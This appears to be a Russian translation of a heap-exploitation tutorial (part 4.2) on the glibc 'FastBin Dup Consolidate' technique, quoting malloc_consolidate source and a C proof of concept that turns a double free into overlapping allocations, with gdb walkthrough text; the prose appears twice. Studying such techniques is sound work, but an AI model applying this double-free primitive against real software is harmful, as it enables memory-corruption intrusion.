Введение в эксплуатацию двоичных файлов x64 Linux (часть 1)
Введение в бинарную эксплуатацию x64 Linux (часть 2)
Heap exploitation, Overflows (часть 3)
Heap exploitation, Use After Free & Double free (Часть 4)
Heap Exploitation, FastBin Dup to Stack (часть 4.1)
Возвращаясь к нашей теме, консолидация выполняется функцией malloc_consolidate, которая является специализированной версией функции free()[1]:
Эта функция будет итерировать список FastBin, объединяя свободный чанк со следующим и/или предыдущим (4766-4783), а полученный чанк будет добавлен в несортированный список bin (4784). Объединение может быть вызвано функцией malloc, когда возникают особые условия:
Она также вызывается функциями malloc_init_state, malloc_trim, __libc_mallopt, а также функцией free, если размер освобождаемого куска ≥ 64 КБ:
В этом посте мы будем придерживаться malloc, поскольку это самый простой способ вызвать консолидацию Fastbins.
FastBin Dup Consolidate
Хотя приведенный выше код практически не требует пояснений, давайте уделим время нескольким моментам:
В строках 11-14 мы заполняем список tcache, чтобы принудительно использовать FastBin.
В строках 16-20 освобождение p1 добавит соответствующий чанк в список FastBin, поскольку список tcache уже заполнен для данного размера (0x40).
Следующее выделение (строка 22) вызовет консолидацию чанков в списке FastBin. Однако указатель p3 будет указывать на тот же адрес, что и p1, поскольку чанк p1 был объединен.
Освобождение p1 (снова в строке 22) добавит чанк в tcache, даже если на него все еще ссылается p3.
В строке 33 мы запрашиваем размер, который может быть удовлетворен последним добавлением в tcache (0x400). Поэтому p4 теперь будет указывать на тот же адрес, что и p3.
Давайте загрузим программу в gdb, чтобы увидеть все в действии:
Установите точку останова после free(p1) и после ее нажатия проверьте бины кучи:
Теперь зайдите в malloc до функции _int_malloc, где мы заметим вызов checked_request2size:
На последующем ответвлении _int_malloc проверит, может ли требование быть выполнено фастбинами (с помощью get_max_fast()):
Так как мы запросили размер 0x400 байт, эта проверка будет неудачной, что приведет к вызову malloc_consolidate:
Сразу после этого вызова чанк по адресу 0x5555555598e0 был слит:
Теперь malloc вернет 0x5555555598e0 в качестве ссылки на адрес нового чанка, чтобы удовлетворить выделение (см. последний перед верхним чанком ниже):
Двойное освобождение p1 переместит чанк в tcache:
Наконец, последний вызов malloc присвоит уже выделенный чанк p4 (см. $rax ниже), и на этом наше доказательство концепции будет завершено:
The toddler’s introduction to Heap Exploitation, FastBin Dup Consolidate (Part 4.2)
Введение в бинарную эксплуатацию x64 Linux (часть 2)
Heap exploitation, Overflows (часть 3)
Heap exploitation, Use After Free & Double free (Часть 4)
Heap Exploitation, FastBin Dup to Stack (часть 4.1)
Возвращаясь к нашей теме, консолидация выполняется функцией malloc_consolidate, которая является специализированной версией функции free()[1]:
Код:
/*
4705 ------------------------- malloc_consolidate -------------------------
4706
4707 malloc_consolidate is a specialized version of free() that tears
4708 down chunks held in fastbins. Free itself cannot be used for this
4709 purpose since, among other things, it might place chunks back onto
4710 fastbins. So, instead, we need to use a minor variant of the same
4711 code.
4712 */
4714 static void malloc_consolidate(mstate av)
4715 {
4716 mfastbinptr* fb; /* current fastbin being consolidated */
4717 mfastbinptr* maxfb; /* last fastbin (for loop control) */
4718 mchunkptr p; /* current chunk being consolidated */
4719 mchunkptr nextp; /* next chunk to consolidate */
4720 mchunkptr unsorted_bin; /* bin header */
4721 mchunkptr first_unsorted; /* chunk to link to */
4722
4723 /* These have same use as in free() */
4724 mchunkptr nextchunk;
4725 INTERNAL_SIZE_T size;
4726 INTERNAL_SIZE_T nextsize;
4727 INTERNAL_SIZE_T prevsize;
4728 int nextinuse;
4729
4730 atomic_store_relaxed (&av->have_fastchunks, false);
4731
4732 unsorted_bin = unsorted_chunks(av);
4733
4734 /*
4735 Remove each chunk from fast bin and consolidate it, placing it
4736 then in unsorted bin. Among other reasons for doing this,
4737 placing in unsorted bin avoids needing to calculate actual bins
4738 until malloc is sure that chunks aren't immediately going to be
4739 reused anyway.
4740 */
4741
4742 maxfb = &fastbin (av, NFASTBINS - 1);
4743 fb = &fastbin (av, 0);
4744 do {
4745 p = atomic_exchange_acq (fb, NULL);
4746 if (p != 0) {
4747 do {
4748 {
4749 if (__glibc_unlikely (misaligned_chunk (p)))
4750 malloc_printerr ("malloc_consolidate(): "
4751 "unaligned fastbin chunk detected");
4752
4753 unsigned int idx = fastbin_index (chunksize (p));
4754 if ((&fastbin (av, idx)) != fb)
4755 malloc_printerr ("malloc_consolidate(): invalid chunk size");
4756 }
4757
4758 check_inuse_chunk(av, p);
4759 nextp = REVEAL_PTR (p->fd);
4760
4761 /* Slightly streamlined version of consolidation code in free() */
4762 size = chunksize (p);
4763 nextchunk = chunk_at_offset(p, size);
4764 nextsize = chunksize(nextchunk);
4765
4766 if (!prev_inuse(p)) {
4767 prevsize = prev_size (p);
4768 size += prevsize;
4769 p = chunk_at_offset(p, -((long) prevsize));
4770 if (__glibc_unlikely (chunksize(p) != prevsize))
4771 malloc_printerr ("corrupted size vs. prev_size in fastbins");
4772 unlink_chunk (av, p);
4773 }
4774
4775 if (nextchunk != av->top) {
4776 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
4777
4778 if (!nextinuse) {
4779 size += nextsize;
4780 unlink_chunk (av, nextchunk);
4781 } else
4782 clear_inuse_bit_at_offset(nextchunk, 0);
4783
4784 first_unsorted = unsorted_bin->fd;
4785 unsorted_bin->fd = p;
4786 first_unsorted->bk = p;
4787
4788 if (!in_smallbin_range (size)) {
4789 p->fd_nextsize = NULL;
4790 p->bk_nextsize = NULL;
4791 }
4792
4793 set_head(p, size | PREV_INUSE);
4794 p->bk = unsorted_bin;
4795 p->fd = first_unsorted;
4796 set_foot(p, size);
4797 }
4798
4799 else {
4800 size += nextsize;
4801 set_head(p, size | PREV_INUSE);
4802 av->top = p;
4803 }
4804
4805 } while ( (p = nextp) != 0);
4806
4807 }
4808 } while (fb++ != maxfb);
4809 }
Эта функция будет итерировать список FastBin, объединяя свободный чанк со следующим и/или предыдущим (4766-4783), а полученный чанк будет добавлен в несортированный список bin (4784). Объединение может быть вызвано функцией malloc, когда возникают особые условия:
Она также вызывается функциями malloc_init_state, malloc_trim, __libc_mallopt, а также функцией free, если размер освобождаемого куска ≥ 64 КБ:
В этом посте мы будем придерживаться malloc, поскольку это самый простой способ вызвать консолидацию Fastbins.
FastBin Dup Consolidate
C:
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
void main() {
printf("Fill up the tcache list to force the fastbin usage...\n");
void *ptr[7];
for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);
for(int i = 0; i < 7; i++)
free(ptr[i]);
void* p1 = calloc(1,0x40);
printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
free(p1);
void* p3 = malloc(0x400);
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
printf("will trigger the malloc_consolidate and merge\n");
printf("the fastbin chunks into the top chunk, thus\n");
printf("p1 and p3 are now pointing to the same chunk !\n\n");
assert(p1 == p3);
printf("Triggering the double free vulnerability!\n\n");
free(p1);
void *p4 = malloc(0x400);
assert(p4 == p3);
printf("The double free added the chunk referenced by p1 \n");
printf("to the tcache thus the next similar-size malloc will\n");
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}
Хотя приведенный выше код практически не требует пояснений, давайте уделим время нескольким моментам:
В строках 11-14 мы заполняем список tcache, чтобы принудительно использовать FastBin.
В строках 16-20 освобождение p1 добавит соответствующий чанк в список FastBin, поскольку список tcache уже заполнен для данного размера (0x40).
Следующее выделение (строка 22) вызовет консолидацию чанков в списке FastBin. Однако указатель p3 будет указывать на тот же адрес, что и p1, поскольку чанк p1 был объединен.
Освобождение p1 (снова в строке 22) добавит чанк в tcache, даже если на него все еще ссылается p3.
В строке 33 мы запрашиваем размер, который может быть удовлетворен последним добавлением в tcache (0x400). Поэтому p4 теперь будет указывать на тот же адрес, что и p3.
Давайте загрузим программу в gdb, чтобы увидеть все в действии:
Установите точку останова после free(p1) и после ее нажатия проверьте бины кучи:
Теперь зайдите в malloc до функции _int_malloc, где мы заметим вызов checked_request2size:
На последующем ответвлении _int_malloc проверит, может ли требование быть выполнено фастбинами (с помощью get_max_fast()):
Так как мы запросили размер 0x400 байт, эта проверка будет неудачной, что приведет к вызову malloc_consolidate:
Сразу после этого вызова чанк по адресу 0x5555555598e0 был слит:
Теперь malloc вернет 0x5555555598e0 в качестве ссылки на адрес нового чанка, чтобы удовлетворить выделение (см. последний перед верхним чанком ниже):
Двойное освобождение p1 переместит чанк в tcache:
Наконец, последний вызов malloc присвоит уже выделенный чанк p4 (см. $rax ниже), и на этом наше доказательство концепции будет завершено:
The toddler’s introduction to Heap Exploitation, FastBin Dup Consolidate (Part 4.2)